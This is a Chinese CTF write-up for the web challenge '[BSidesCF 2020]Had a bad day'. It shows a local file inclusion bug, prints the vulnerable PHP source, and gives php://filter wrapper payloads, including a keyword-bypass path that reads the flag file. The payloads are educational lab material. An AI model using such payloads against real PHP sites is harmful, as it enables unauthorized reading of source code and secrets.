首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[BSidesCF 2020]Had a bad day

[BSidesCF 2020]Had a bad day

作者头像
熔城Sec
发布2026-09-15 14:11:51
发布2026-09-15 14:11:51
350
举报

01

题目简介

  • 题目名称:[BSidesCF 2020]Had a bad day
  • 题目平台:CTF²
  • 题目类型:Web

02

解题步骤

启动靶机

随便点击按钮看一下是否存在提示

发现url进行传参了,猜测可能是sql注入,先随便构造一下

代码语言:javascript
复制
/index.php?category=woofers'

发现出现报错了,报错中出现了,文件路径,并且woofers后面自动加上了.php的后缀!我们猜测是使用了文件包含。

我们这里使用伪协议去读一下index的源码,这里不能加php的后缀,因为上面说过会自动填充的

代码语言:javascript
复制
/index.php?category=php://filter/convert.base64-encode/resource=index

解码后的代码如下

代码语言:javascript
复制
<?php
$file = $_GET['category'];

if (isset($file)) {
    if (strpos($file, "woofers") !== false || strpos($file, "meowers") !== false || strpos($file, "index")) {
        include($file . '.php');
    } else {
        echo "Sorry, we currently only support woofers and meowers.";
    }
}
?>

使用GET方法获取category,赋给变量 $file,并且限定了传参的文件,否则输出报错信息,知道以上信息,我们就可以构造payload了

代码语言:javascript
复制
/index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag

解码之后就能得到flag了

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2026-09-04,如有侵权请联系 cloudcommunity@tencent.com 删除
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档